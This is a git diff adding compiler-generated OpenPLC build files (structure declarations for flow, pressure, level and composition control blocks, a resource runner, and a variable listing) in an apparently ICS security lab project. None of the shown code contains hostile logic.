__DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; 